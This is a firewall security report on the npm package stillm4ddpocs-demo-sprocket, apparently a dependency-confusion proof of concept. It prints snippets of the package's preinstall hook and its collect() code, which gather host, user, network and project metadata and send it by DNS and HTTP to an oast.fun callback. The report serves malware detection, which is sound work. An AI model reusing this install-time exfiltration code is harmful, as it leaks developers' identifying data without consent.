---
canonical: "https://firewall.lpm.dev/npm/stillm4ddpocs-demo-sprocket/v/999.9.12"
markdown: "https://firewall.lpm.dev/npm/stillm4ddpocs-demo-sprocket/v/999.9.12.md"
package: "stillm4ddpocs-demo-sprocket"
report_status: "published"
title: "stillm4ddpocs-demo-sprocket@999.9.12 npm security report"
verdict: "malicious"
version: "999.9.12"
---

# stillm4ddpocs-demo-sprocket@999.9.12 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Unconsented disclosure of identifying workstation, network, and consuming-project metadata.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 999.9.12
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

npm installation triggers automatic collection of host, user, path, project metadata, and network identifiers. The package exfiltrates that data by DNS plus HTTP/HTTPS callbacks.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-23T00:05:19.846Z
- **Finished:** 2026-08-23T00:06:02.557Z
- **Download time:** 259 ms
- **Static scan time:** 32 ms
- **AI review time:** 42419 ms
- **Total time:** 42711 ms

## Security analysis

### Published attack-surface review

- **Summary:** npm installation triggers automatic collection of host, user, path, project metadata, and network identifiers. The package exfiltrates that data by DNS plus HTTP/HTTPS callbacks.

- **Trigger:** npm preinstall runs node index.js

- **Impact:** Unconsented disclosure of identifying workstation, network, and consuming-project metadata.

- **Evidence paths:** package.json, index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-23T00:06:02.557Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** install-time host and project reconnaissance with DNS/HTTP exfiltration

- **Attack narrative:** On installation, the preinstall hook executes index.js. It reads the consuming project's package.json, gathers local and public network details plus hostname, username, home directory, and working directory, then serializes the data. The package sends that payload as hex-labelled DNS queries to its callback domain and as HTTP and HTTPS POST requests. Its stated research purpose does not establish consent for this automatic collection and external transmission.

- **Rationale:** Direct source inspection confirms a reachable preinstall reconnaissance and data-exfiltration chain. This is concrete unconsented install-time behavior, independent of the package's stated research intent.

- **Files touched:** package.json, index.js, \<INIT\_CWD\>/package.json

- **Network endpoints:** da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun, https://api.ipify.org, https://icanhazip.com, https://ifconfig.me/ip, o-o.myaddr.l.google.com

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** preinstall automatically executes index.js during npm installation., Source reads consuming project's manifest and host/user/home/network identifiers., It queries public-IP services and a DNS resolver to expand collected network data., It hex-encodes the collected JSON into DNS requests and also POSTs it to an external callback.

- **Evidence against:** No code writes files, downloads payloads, or invokes shell commands., README describes the behavior as security research, but source confirms unconsented install-time collection and transmission.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/stillm4ddpocs-demo-sprocket@999.9.12/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.preinstall = node index.js
```

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 6. High: Trigger Reachable External Post Callback
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/stillm4ddpocs-demo-sprocket@999.9.12/index.js>)

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

Public source snippet (untrusted):

```javascript
Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js
const http = require("http");
const https = require("https");
const CALLBACK = "[redacted].oast.fun";
// because they fail in different situations: the HTTPS lookup gives this
// host's egress address and needs outbound HTTP; the DNS lookup gives the
const urls = ["https://api.ipify.org", "https://icanhazip.com",
"https://ifconfig.me/ip"];
const req = https.get(url, { timeout: 2000 }, (res) => {
```

### 7. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 8. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 9. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/stillm4ddpocs-demo-sprocket@999.9.12/index.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = stillm4ddpocs-demo-gadget@999.9.20
matchedPath = index.js
matchedIdentity = npm:[redacted]:999.9.20
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 10. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/stillm4ddpocs-demo-sprocket@999.9.12/index.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = 5ccc01a84753afbf
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = stillm4ddpocs-demo-gadget@999.9.20
matchedPath = index.js
matchedIdentity = npm:[redacted]:999.9.20
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/stillm4ddpocs-demo-sprocket@999.9.12/package.json>)

preinstall automatically executes index.js during npm installation.

Public source snippet (untrusted):

```json
"scripts": {
    "preinstall": "node index.js"
  }
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/stillm4ddpocs-demo-sprocket@999.9.12/index.js>)

Source reads consuming project's manifest and host/user/home/network identifiers.

Public source snippet (untrusted):

```javascript
function collect() {
  const parent = parentProject();
  let user = null, home = null;
  try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {}
  return {
    uuid: crypto.randomUUID(),
    ip: localIPv4(),
    hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(),
    user: user,
    home: home,
    cwd: process.env.INIT_CWD || process.cwd(),
    public_ip: null,
    resolver_ip: null,
    client_subnet: null,
    poc: PACKAGE,
    parent: parent.name,
    author: parent.author || null,
    repository: parent.repository || null,
    home
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** preinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** stillm4ddpocs-demo-sprocket
- **Ecosystem:** npm
- **Version:** 999.9.12
- **License:** ISC
- **Version published:** 2026-08-22T23:59:07.191Z
- **Package first seen:** 2026-08-22T20:17:30.429Z
- **Package last seen:** 2026-08-23T00:06:02.557Z
- **Known versions:** 3
- **Latest version:** 999.9.12
- **Appeal under review:** No
- **Description:** AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte
- **Author:** stillm4dd@wearehackerone.com
- **Keywords:** security-research, dependency-confusion, proof-of-concept
- **Artifact files:** 3
- **Artifact unpacked size:** 10,770 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/stillm4ddpocs-demo-sprocket/v/999.9.12>)
